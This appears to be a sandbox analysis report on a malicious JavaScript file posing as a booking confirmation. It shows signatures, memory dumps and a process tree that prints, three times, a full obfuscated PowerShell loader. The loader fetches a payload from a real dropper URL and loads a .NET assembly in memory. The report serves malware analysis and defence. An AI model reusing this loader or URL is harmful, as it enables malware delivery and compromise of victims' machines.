Overview

overview

10

Static

static

1

Booking_Co...ion.js

windows10-2004-x64

10

Booking_Co...ion.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 06:14

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Booking_Confrmation.js
  • Size 284KB
  • Sample260905-gzedvsfn9s
  • SHA256 9f9e0b512b1d9a521eec3c0fca55ed8618f1d3f303708880c4f26994580704ee
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://lively-fog-af49.pablosoftwareplus.workers.dev/ylZrQ
  • exe.dropper

    https://lively-fog-af49.pablosoftwareplus.workers.dev/ylZrQ

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Booking_Confrmation.js
    1⤵
      PID:2420
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $stoicity = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/ylZrQ''; Add-Type -AssemblyName System.Net.Http; $illeist = New-Object System.Net.CookieContainer; $sphenosquamous = New-Object System.Net.Http.HttpClientHandler; $sphenosquamous.AllowAutoRedirect = $true; $sphenosquamous.CookieContainer = $illeist; $hypoclidian = New-Object System.Net.Http.HttpClient($sphenosquamous); $hypoclidian.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $lomenta = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $stoicity); $cardinal = $hypoclidian.SendAsync($lomenta).GetAwaiter().GetResult(); $passance = $cardinal.Content.Headers.ContentLength; if ($null -eq $passance) { $passance = 5000000; } $gruffly = [Math]::Min($passance, 3000000); $tumults = [Math]::Max(0, $passance - $gruffly); $tabic = $passance - 1; $hairband = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $stoicity); $hairband.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($tumults, $tabic); $interfault = $hypoclidian.SendAsync($hairband).GetAwaiter().GetResult(); [byte[]]$silsesquioxane = $interfault.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $Taylor = [System.Text.Encoding]::ASCII.GetString($silsesquioxane); } catch { $accessable = (New-Object System.Net.WebClient).DownloadString($stoicity); $Taylor = $accessable; } $deviants=''IN-''; $Swiftian=''-in1''; $avenue = [string]::IndexOf($Taylor, $deviants); $depside = $Taylor.LastIndexOf($Swiftian); if($avenue -eq -1 -or $depside -eq -1){return}; $gobbets = $avenue + $deviants.Length; $scalelike = $Taylor.Substring($Taylor.IndexOf($deviants) + $deviants.Length, $depside - ($Taylor.IndexOf($deviants) + $deviants.Length)); $accentuators = $scalelike.Replace(''*'',''A'').ToCharArray(); $paragnathon = -join $accentuators[($accentuators.Length - 1)..0]; $enwreathed = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$biventer = $enwreathed.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$paragnathon)); $creolin = [AppDomain]::(''CurrentDomain''); $readable = $creolin.GetType().GetMethod(''Load'', [byte[]]); $bowking = $readable.Invoke($creolin, (,$biventer)); $Achaea = (''FOKh7LICNEA/HaIfDlvq2jYmZ9b4RKSPh60TNrxCaQ9xJ7DzK9TfpXVXsJDYoibJWHzPLDLyjSTkpzaYkTKtWcfoF54FwiSpysdUK0K2aGM='','''',''yZMhl/zbJz/yk+4xMqh971/zBYAtgb0GMxBFLCCNA3W+lHyuOn20tlP2ysjhcNGL'',''mrT12ZbEh1I0U4cVbA3fWsB8J7qRoay0w8MmvOeHxUY='',''JvsvXpM7ruq49iXjCQS9UcT4CjC7WuK+lFo8oTdcjUM='','''',''beJJQeUjAWTUx6gbSN0qc/ydTx2P79VDUAMzBAF0Phg='','''',''1p2rQdZrvH1CvP4hSvcMQjh5s+KhNocxzbdt1CKEheo='',''U7uNNrMcrDkQApiTZ4r5pUYIHkOM+TTUKxSuD0+rclCxHlti3kyI9fmwqKBhHZbv'',''4zt3Wtq6Cu5jG0IeQZWXUStJd+luvatbCW3qHg7bDwc='',''u66ivfSwpr0H/oqLvRLjIkDIu5QIDbjHFO1put1dYN4='',''o20iHePdLjmfba5RD50p60ubNQ3tE7tU4t7LDRlwpMo='','''',''V3nLItxc0FrEt2eKSCkD7a9MCQTw2bBfh1McTE53p/4='',''ox2LHmON2nFhdhrdJB68Nw6xtkA+ua+puqvyYYpeugo='','''','''',''''); try { $pedatinerved = ($bowking.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $plasmodiophora = ($pedatinerved.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $plasmodiophora.Invoke($null, [object[]]$Achaea); } catch {} finally { if ($null -ne $hypoclidian) { $hypoclidian.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6052
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $stoicity = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/ylZrQ''; Add-Type -AssemblyName System.Net.Http; $illeist = New-Object System.Net.CookieContainer; $sphenosquamous = New-Object System.Net.Http.HttpClientHandler; $sphenosquamous.AllowAutoRedirect = $true; $sphenosquamous.CookieContainer = $illeist; $hypoclidian = New-Object System.Net.Http.HttpClient($sphenosquamous); $hypoclidian.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $lomenta = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $stoicity); $cardinal = $hypoclidian.SendAsync($lomenta).GetAwaiter().GetResult(); $passance = $cardinal.Content.Headers.ContentLength; if ($null -eq $passance) { $passance = 5000000; } $gruffly = [Math]::Min($passance, 3000000); $tumults = [Math]::Max(0, $passance - $gruffly); $tabic = $passance - 1; $hairband = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $stoicity); $hairband.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($tumults, $tabic); $interfault = $hypoclidian.SendAsync($hairband).GetAwaiter().GetResult(); [byte[]]$silsesquioxane = $interfault.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $Taylor = [System.Text.Encoding]::ASCII.GetString($silsesquioxane); } catch { $accessable = (New-Object System.Net.WebClient).DownloadString($stoicity); $Taylor = $accessable; } $deviants=''IN-''; $Swiftian=''-in1''; $avenue = [string]::IndexOf($Taylor, $deviants); $depside = $Taylor.LastIndexOf($Swiftian); if($avenue -eq -1 -or $depside -eq -1){return}; $gobbets = $avenue + $deviants.Length; $scalelike = $Taylor.Substring($Taylor.IndexOf($deviants) + $deviants.Length, $depside - ($Taylor.IndexOf($deviants) + $deviants.Length)); $accentuators = $scalelike.Replace(''*'',''A'').ToCharArray(); $paragnathon = -join $accentuators[($accentuators.Length - 1)..0]; $enwreathed = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$biventer = $enwreathed.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$paragnathon)); $creolin = [AppDomain]::(''CurrentDomain''); $readable = $creolin.GetType().GetMethod(''Load'', [byte[]]); $bowking = $readable.Invoke($creolin, (,$biventer)); $Achaea = (''FOKh7LICNEA/HaIfDlvq2jYmZ9b4RKSPh60TNrxCaQ9xJ7DzK9TfpXVXsJDYoibJWHzPLDLyjSTkpzaYkTKtWcfoF54FwiSpysdUK0K2aGM='','''',''yZMhl/zbJz/yk+4xMqh971/zBYAtgb0GMxBFLCCNA3W+lHyuOn20tlP2ysjhcNGL'',''mrT12ZbEh1I0U4cVbA3fWsB8J7qRoay0w8MmvOeHxUY='',''JvsvXpM7ruq49iXjCQS9UcT4CjC7WuK+lFo8oTdcjUM='','''',''beJJQeUjAWTUx6gbSN0qc/ydTx2P79VDUAMzBAF0Phg='','''',''1p2rQdZrvH1CvP4hSvcMQjh5s+KhNocxzbdt1CKEheo='',''U7uNNrMcrDkQApiTZ4r5pUYIHkOM+TTUKxSuD0+rclCxHlti3kyI9fmwqKBhHZbv'',''4zt3Wtq6Cu5jG0IeQZWXUStJd+luvatbCW3qHg7bDwc='',''u66ivfSwpr0H/oqLvRLjIkDIu5QIDbjHFO1put1dYN4='',''o20iHePdLjmfba5RD50p60ubNQ3tE7tU4t7LDRlwpMo='','''',''V3nLItxc0FrEt2eKSCkD7a9MCQTw2bBfh1McTE53p/4='',''ox2LHmON2nFhdhrdJB68Nw6xtkA+ua+puqvyYYpeugo='','''','''',''''); try { $pedatinerved = ($bowking.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $plasmodiophora = ($pedatinerved.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $plasmodiophora.Invoke($null, [object[]]$Achaea); } catch {} finally { if ($null -ne $hypoclidian) { $hypoclidian.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $stoicity = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/ylZrQ''; Add-Type -AssemblyName System.Net.Http; $illeist = New-Object System.Net.CookieContainer; $sphenosquamous = New-Object System.Net.Http.HttpClientHandler; $sphenosquamous.AllowAutoRedirect = $true; $sphenosquamous.CookieContainer = $illeist; $hypoclidian = New-Object System.Net.Http.HttpClient($sphenosquamous); $hypoclidian.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $lomenta = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $stoicity); $cardinal = $hypoclidian.SendAsync($lomenta).GetAwaiter().GetResult(); $passance = $cardinal.Content.Headers.ContentLength; if ($null -eq $passance) { $passance = 5000000; } $gruffly = [Math]::Min($passance, 3000000); $tumults = [Math]::Max(0, $passance - $gruffly); $tabic = $passance - 1; $hairband = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $stoicity); $hairband.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($tumults, $tabic); $interfault = $hypoclidian.SendAsync($hairband).GetAwaiter().GetResult(); [byte[]]$silsesquioxane = $interfault.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $Taylor = [System.Text.Encoding]::ASCII.GetString($silsesquioxane); } catch { $accessable = (New-Object System.Net.WebClient).DownloadString($stoicity); $Taylor = $accessable; } $deviants=''IN-''; $Swiftian=''-in1''; $avenue = [string]::IndexOf($Taylor, $deviants); $depside = $Taylor.LastIndexOf($Swiftian); if($avenue -eq -1 -or $depside -eq -1){return}; $gobbets = $avenue + $deviants.Length; $scalelike = $Taylor.Substring($Taylor.IndexOf($deviants) + $deviants.Length, $depside - ($Taylor.IndexOf($deviants) + $deviants.Length)); $accentuators = $scalelike.Replace(''*'',''A'').ToCharArray(); $paragnathon = -join $accentuators[($accentuators.Length - 1)..0]; $enwreathed = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$biventer = $enwreathed.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$paragnathon)); $creolin = [AppDomain]::(''CurrentDomain''); $readable = $creolin.GetType().GetMethod(''Load'', [byte[]]); $bowking = $readable.Invoke($creolin, (,$biventer)); $Achaea = (''FOKh7LICNEA/HaIfDlvq2jYmZ9b4RKSPh60TNrxCaQ9xJ7DzK9TfpXVXsJDYoibJWHzPLDLyjSTkpzaYkTKtWcfoF54FwiSpysdUK0K2aGM='','''',''yZMhl/zbJz/yk+4xMqh971/zBYAtgb0GMxBFLCCNA3W+lHyuOn20tlP2ysjhcNGL'',''mrT12ZbEh1I0U4cVbA3fWsB8J7qRoay0w8MmvOeHxUY='',''JvsvXpM7ruq49iXjCQS9UcT4CjC7WuK+lFo8oTdcjUM='','''',''beJJQeUjAWTUx6gbSN0qc/ydTx2P79VDUAMzBAF0Phg='','''',''1p2rQdZrvH1CvP4hSvcMQjh5s+KhNocxzbdt1CKEheo='',''U7uNNrMcrDkQApiTZ4r5pUYIHkOM+TTUKxSuD0+rclCxHlti3kyI9fmwqKBhHZbv'',''4zt3Wtq6Cu5jG0IeQZWXUStJd+luvatbCW3qHg7bDwc='',''u66ivfSwpr0H/oqLvRLjIkDIu5QIDbjHFO1put1dYN4='',''o20iHePdLjmfba5RD50p60ubNQ3tE7tU4t7LDRlwpMo='','''',''V3nLItxc0FrEt2eKSCkD7a9MCQTw2bBfh1McTE53p/4='',''ox2LHmON2nFhdhrdJB68Nw6xtkA+ua+puqvyYYpeugo='','''','''',''''); try { $pedatinerved = ($bowking.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $plasmodiophora = ($pedatinerved.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $plasmodiophora.Invoke($null, [object[]]$Achaea); } catch {} finally { if ($null -ne $hypoclidian) { $hypoclidian.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3968

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 99a87c405dd08c20bfb928b9338aa77e06b6ded63127cbc86363e8657701a2e8
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_4lcaw03g.gmg.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4lcaw03g.gmg.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/3704-29-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-25-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-37-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-35-0x000001A1FE0F0000-0x000001A1FE102000-memory.dmp
          Download

          memory/3704-34-0x000001A1FE5A0000-0x000001A1FE670000-memory.dmp
          Download

          memory/3704-33-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-31-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-4-0x000001A1FDE00000-0x000001A1FDE22000-memory.dmp
          Download

          memory/3704-30-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-24-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-28-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-27-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-26-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-20-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-21-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-22-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/3704-23-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-16-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-5-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-19-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-18-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-17-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-0-0x00007FFCF4D5F000-0x00007FFCF4D60000-memory.dmp
          Download

          memory/6052-15-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-12-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-32-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-11-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-10-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-9-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-6-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-38-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-1-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download

          memory/6052-44-0x00007FFCF4BD0000-0x00007FFCF5574000-memory.dmp
          Download